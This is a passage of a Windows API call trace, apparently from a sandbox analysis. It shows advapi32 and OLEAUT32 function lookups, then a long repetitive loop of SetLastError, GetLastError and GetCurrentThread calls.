(hModule=0x77230000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x77248d40 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0301.559] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0301.560] GetProcAddress (hModule=0x77230000, lpProcName="IsTextUnicode") returned 0x7724f040 [0301.561] GetProcAddress (hModule=0x77230000, lpProcName="CryptAcquireContextA") returned 0x7724fc40 [0301.561] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x75ad0000 [0301.561] GetProcAddress (hModule=0x75ad0000, lpProcName=0x13) returned 0x75af5460 [0301.561] GetProcAddress (hModule=0x75ad0000, lpProcName=0x19) returned 0x75ae9d00 [0301.561] GetProcAddress (hModule=0x75ad0000, lpProcName=0x10) returned 0x75aea190 [0301.561] GetProcAddress (hModule=0x75ad0000, lpProcName=0x14) returned 0x75af5ea0 [0301.562] GetProcAddress (hModule=0x75ad0000, lpProcName=0x2) returned 0x75aeb870 [0301.562] GetProcAddress (hModule=0x75ad0000, lpProcName=0x6) returned 0x75aeb920 [0301.562] GetProcAddress (hModule=0x75ad0000, lpProcName=0x8) returned 0x75b09de0 [0301.562] GetProcAddress (hModule=0x75ad0000, lpProcName=0x9) returned 0x75b09db0 [0301.587] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x47e0000 [0301.613] SetLastError (dwErrCode=0x5) [0301.613] GetLastError () returned 0x5 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x9) [0301.613] GetLastError () returned 0x9 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0xd) [0301.613] GetLastError () returned 0xd [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x11) [0301.613] GetLastError () returned 0x11 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x15) [0301.613] GetLastError () returned 0x15 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x19) [0301.613] GetLastError () returned 0x19 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x1d) [0301.613] GetLastError () returned 0x1d [0301.613] GetCurrentThread () returned 0xfffffffe [0301.613] SetLastError (dwErrCode=0x21) [0301.613] GetLastError () returned 0x21 [0301.613] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x25) [0301.614] GetLastError () returned 0x25 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x29) [0301.614] GetLastError () returned 0x29 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x2d) [0301.614] GetLastError () returned 0x2d [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x31) [0301.614] GetLastError () returned 0x31 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x35) [0301.614] GetLastError () returned 0x35 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x39) [0301.614] GetLastError () returned 0x39 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x3d) [0301.614] GetLastError () returned 0x3d [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x41) [0301.614] GetLastError () returned 0x41 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x45) [0301.614] GetLastError () returned 0x45 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x49) [0301.614] GetLastError () returned 0x49 [0301.614] GetCurrentThread () returned 0xfffffffe [0301.614] SetLastError (dwErrCode=0x4d) [0301.614] GetLastError () returned 0x4d [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x51) [0301.615] GetLastError () returned 0x51 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x55) [0301.615] GetLastError () returned 0x55 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x59) [0301.615] GetLastError () returned 0x59 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x5d) [0301.615] GetLastError () returned 0x5d [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x61) [0301.615] GetLastError () returned 0x61 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x65) [0301.615] GetLastError () returned 0x65 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x69) [0301.615] GetLastError () returned 0x69 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x6d) [0301.615] GetLastError () returned 0x6d [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x71) [0301.615] GetLastError () returned 0x71 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x75) [0301.615] GetLastError () returned 0x75 [0301.615] GetCurrentThread () returned 0xfffffffe [0301.615] SetLastError (dwErrCode=0x79) [0301.616] GetLastError () returned 0x79 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x7d) [0301.616] GetLastError () returned 0x7d [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x81) [0301.616] GetLastError () returned 0x81 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x85) [0301.616] GetLastError () returned 0x85 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x89) [0301.616] GetLastError () returned 0x89 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x8d) [0301.616] GetLastError () returned 0x8d [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x91) [0301.616] GetLastError () returned 0x91 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x95) [0301.616] GetLastError () returned 0x95 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x99) [0301.616] GetLastError () returned 0x99 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0x9d) [0301.616] GetLastError () returned 0x9d [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0xa1) [0301.616] GetLastError () returned 0xa1 [0301.616] GetCurrentThread () returned 0xfffffffe [0301.616] SetLastError (dwErrCode=0xa5) [0301.616] GetLastError () returned 0xa5 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xa9) [0301.617] GetLastError () returned 0xa9 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xad) [0301.617] GetLastError () returned 0xad [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xb1) [0301.617] GetLastError () returned 0xb1 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xb5) [0301.617] GetLastError () returned 0xb5 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xb9) [0301.617] GetLastError () returned 0xb9 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xbd) [0301.617] GetLastError () returned 0xbd [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xc1) [0301.617] GetLastError () returned 0xc1 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xc5) [0301.617] GetLastError () returned 0xc5 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xc9) [0301.617] GetLastError () returned 0xc9 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xcd) [0301.617] GetLastError () returned 0xcd [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xd1) [0301.617] GetLastError () returned 0xd1 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xd5) [0301.617] GetLastError () returned 0xd5 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xd9) [0301.617] GetLastError () returned 0xd9 [0301.617] GetCurrentThread () returned 0xfffffffe [0301.617] SetLastError (dwErrCode=0xdd) [0301.617] GetLastError () returned 0xdd [0301.617] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xe1) [0301.618] GetLastError () returned 0xe1 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xe5) [0301.618] GetLastError () returned 0xe5 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xe9) [0301.618] GetLastError () returned 0xe9 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xed) [0301.618] GetLastError () returned 0xed [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xf1) [0301.618] GetLastError () returned 0xf1 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xf5) [0301.618] GetLastError () returned 0xf5 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xf9) [0301.618] GetLastError () returned 0xf9 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0xfd) [0301.618] GetLastError () returned 0xfd [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0x101) [0301.618] GetLastError () returned 0x101 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0x105) [0301.618] GetLastError () returned 0x105 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0x109) [0301.618] GetLastError () returned 0x109 [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0x10d) [0301.618] GetLastError () returned 0x10d [0301.618] GetCurrentThread () returned 0xfffffffe [0301.618] SetLastError (dwErrCode=0x111) [0301.619] GetLastError () returned 0x111 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x115) [0301.619] GetLastError () returned 0x115 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x119) [0301.619] GetLastError () returned 0x119 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x11d) [0301.619] GetLastError () returned 0x11d [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x121) [0301.619] GetLastError () returned 0x121 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x125) [0301.619] GetLastError () returned 0x125 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x129) [0301.619] GetLastError () returned 0x129 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x12d) [0301.619] GetLastError () returned 0x12d [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x131) [0301.619] GetLastError () returned 0x131 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x135) [0301.619] GetLastError () returned 0x135 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x139) [0301.619] GetLastError () returned 0x139 [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x13d) [0301.619] GetLastError () returned 0x13d [0301.619] GetCurrentThread () returned 0xfffffffe [0301.619] SetLastError (dwErrCode=0x141) [0301.620] GetLastError () returned 0x141 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x145) [0301.620] GetLastError () returned 0x145 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x149) [0301.620] GetLastError () returned 0x149 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x14d) [0301.620] GetLastError () returned 0x14d [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x151) [0301.620] GetLastError () returned 0x151 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x155) [0301.620] GetLastError () returned 0x155 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x159) [0301.620] GetLastError () returned 0x159 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x15d) [0301.620] GetLastError () returned 0x15d [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x161) [0301.620] GetLastError () returned 0x161 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x165) [0301.620] GetLastError () returned 0x165 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x169) [0301.620] GetLastError () returned 0x169 [0301.620] GetCurrentThread () returned 0xfffffffe [0301.620] SetLastError (dwErrCode=0x16d) [0301.620] GetLastError () returned 0x16d [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x171) [0301.621] GetLastError () returned 0x171 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x175) [0301.621] GetLastError () returned 0x175 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x179) [0301.621] GetLastError () returned 0x179 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x17d) [0301.621] GetLastError () returned 0x17d [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x181) [0301.621] GetLastError () returned 0x181 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x185) [0301.621] GetLastError () returned 0x185 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x189) [0301.621] GetLastError () returned 0x189 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x18d) [0301.621] GetLastError () returned 0x18d [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x191) [0301.621] GetLastError () returned 0x191 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x195) [0301.621] GetLastError () returned 0x195 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x199) [0301.621] GetLastError () returned 0x199 [0301.621] GetCurrentThread () returned 0xfffffffe [0301.621] SetLastError (dwErrCode=0x19d) [0301.622] GetLastError () returned 0x19d [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1a1) [0301.622] GetLastError () returned 0x1a1 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1a5) [0301.622] GetLastError () returned 0x1a5 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1a9) [0301.622] GetLastError () returned 0x1a9 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1ad) [0301.622] GetLastError () returned 0x1ad [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1b1) [0301.622] GetLastError () returned 0x1b1 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1b5) [0301.622] GetLastError () returned 0x1b5 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1b9) [0301.622] GetLastError () returned 0x1b9 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1bd) [0301.622] GetLastError () returned 0x1bd [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1c1) [0301.622] GetLastError () returned 0x1c1 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1c5) [0301.622] GetLastError () returned 0x1c5 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1c9) [0301.622] GetLastError () returned 0x1c9 [0301.622] GetCurrentThread () returned 0xfffffffe [0301.622] SetLastError (dwErrCode=0x1cd) [0301.622] GetLastError () returned 0x1cd [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1d1) [0301.623] GetLastError () returned 0x1d1 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1d5) [0301.623] GetLastError () returned 0x1d5 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1d9) [0301.623] GetLastError () returned 0x1d9 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1dd) [0301.623] GetLastError () returned 0x1dd [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1e1) [0301.623] GetLastError () returned 0x1e1 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1e5) [0301.623] GetLastError () returned 0x1e5 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1e9) [0301.623] GetLastError () returned 0x1e9 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1ed) [0301.623] GetLastError () returned 0x1ed [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1f1) [0301.623] GetLastError () returned 0x1f1 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1f5) [0301.623] GetLastError () returned 0x1f5 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1f9) [0301.623] GetLastError () returned 0x1f9 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x1fd) [0301.623] GetLastError () returned 0x1fd [0301.623] GetCurrentThread () returned 0xfffffffe [0301.623] SetLastError (dwErrCode=0x201) [0301.623] GetLastError () returned 0x201 [0301.623] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x205) [0301.624] GetLastError () returned 0x205 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x209) [0301.624] GetLastError () returned 0x209 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x20d) [0301.624] GetLastError () returned 0x20d [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x211) [0301.624] GetLastError () returned 0x211 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x215) [0301.624] GetLastError () returned 0x215 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x219) [0301.624] GetLastError () returned 0x219 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x21d) [0301.624] GetLastError () returned 0x21d [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x221) [0301.624] GetLastError () returned 0x221 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x225) [0301.624] GetLastError () returned 0x225 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x229) [0301.624] GetLastError () returned 0x229 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x22d) [0301.624] GetLastError () returned 0x22d [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x231) [0301.624] GetLastError () returned 0x231 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.624] SetLastError (dwErrCode=0x235) [0301.624] GetLastError () returned 0x235 [0301.624] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x239) [0301.625] GetLastError () returned 0x239 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x23d) [0301.625] GetLastError () returned 0x23d [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x241) [0301.625] GetLastError () returned 0x241 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x245) [0301.625] GetLastError () returned 0x245 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x249) [0301.625] GetLastError () returned 0x249 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x24d) [0301.625] GetLastError () returned 0x24d [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x251) [0301.625] GetLastError () returned 0x251 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x255) [0301.625] GetLastError () returned 0x255 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x259) [0301.625] GetLastError () returned 0x259 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x25d) [0301.625] GetLastError () returned 0x25d [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x261) [0301.625] GetLastError () returned 0x261 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x265) [0301.625] GetLastError () returned 0x265 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.625] SetLastError (dwErrCode=0x269) [0301.625] GetLastError () returned 0x269 [0301.625] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x26d) [0301.626] GetLastError () returned 0x26d [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x271) [0301.626] GetLastError () returned 0x271 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x275) [0301.626] GetLastError () returned 0x275 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x279) [0301.626] GetLastError () returned 0x279 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x27d) [0301.626] GetLastError () returned 0x27d [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x281) [0301.626] GetLastError () returned 0x281 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x285) [0301.626] GetLastError () returned 0x285 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x289) [0301.626] GetLastError () returned 0x289 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x28d) [0301.626] GetLastError () returned 0x28d [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x291) [0301.626] GetLastError () returned 0x291 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x295) [0301.626] GetLastError () returned 0x295 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.626] SetLastError (dwErrCode=0x299) [0301.626] GetLastError () returned 0x299 [0301.626] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x29d) [0301.627] GetLastError () returned 0x29d [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2a1) [0301.627] GetLastError () returned 0x2a1 [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2a5) [0301.627] GetLastError () returned 0x2a5 [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2a9) [0301.627] GetLastError () returned 0x2a9 [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2ad) [0301.627] GetLastError () returned 0x2ad [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2b1) [0301.627] GetLastError () returned 0x2b1 [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2b5) [0301.627] GetLastError () returned 0x2b5 [0301.627] GetCurrentThread () returned 0xfffffffe [0301.627] SetLastError (dwErrCode=0x2b9) [0301.628] GetLastError () returned 0x2b9 [0301.628] GetCurrentThread () returned 0xfffffffe [0301.628] SetLastError (dwErrCode=0x2bd) [0301.628] GetLastError () returned 0x2bd [0301.628] GetCurrentThread () returned 0xfffffffe [0301.628] SetLastError (dwErrCode=0x2c1) [0301.628] GetLastError () returned 0x2c1 [0301.628] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2c5) [0301.629] GetLastError () returned 0x2c5 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2c9) [0301.629] GetLastError () returned 0x2c9 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2cd) [0301.629] GetLastError () returned 0x2cd [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2d1) [0301.629] GetLastError () returned 0x2d1 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2d5) [0301.629] GetLastError () returned 0x2d5 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2d9) [0301.629] GetLastError () returned 0x2d9 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2dd) [0301.629] GetLastError () returned 0x2dd [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2e1) [0301.629] GetLastError () returned 0x2e1 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2e5) [0301.629] GetLastError () returned 0x2e5 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2e9) [0301.629] GetLastError () returned 0x2e9 [0301.629] GetCurrentThread () returned 0xfffffffe [0301.629] SetLastError (dwErrCode=0x2ed) [0301.630] GetLastError () returned 0x2ed [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x2f1) [0301.630] GetLastError () returned 0x2f1 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x2f5) [0301.630] GetLastError () returned 0x2f5 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x2f9) [0301.630] GetLastError () returned 0x2f9 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x2fd) [0301.630] GetLastError () returned 0x2fd [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x301) [0301.630] GetLastError () returned 0x301 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x305) [0301.630] GetLastError () returned 0x305 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x309) [0301.630] GetLastError () returned 0x309 [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x30d) [0301.630] GetLastError () returned 0x30d [0301.630] GetCurrentThread () returned 0xfffffffe [0301.630] SetLastError (dwErrCode=0x311) [0301.631] GetLastError () returned 0x311 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x315) [0301.631] GetLastError () returned 0x315 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x319) [0301.631] GetLastError () returned 0x319 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x31d) [0301.631] GetLastError () returned 0x31d [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x321) [0301.631] GetLastError () returned 0x321 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x325) [0301.631] GetLastError () returned 0x325 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x329) [0301.631] GetLastError 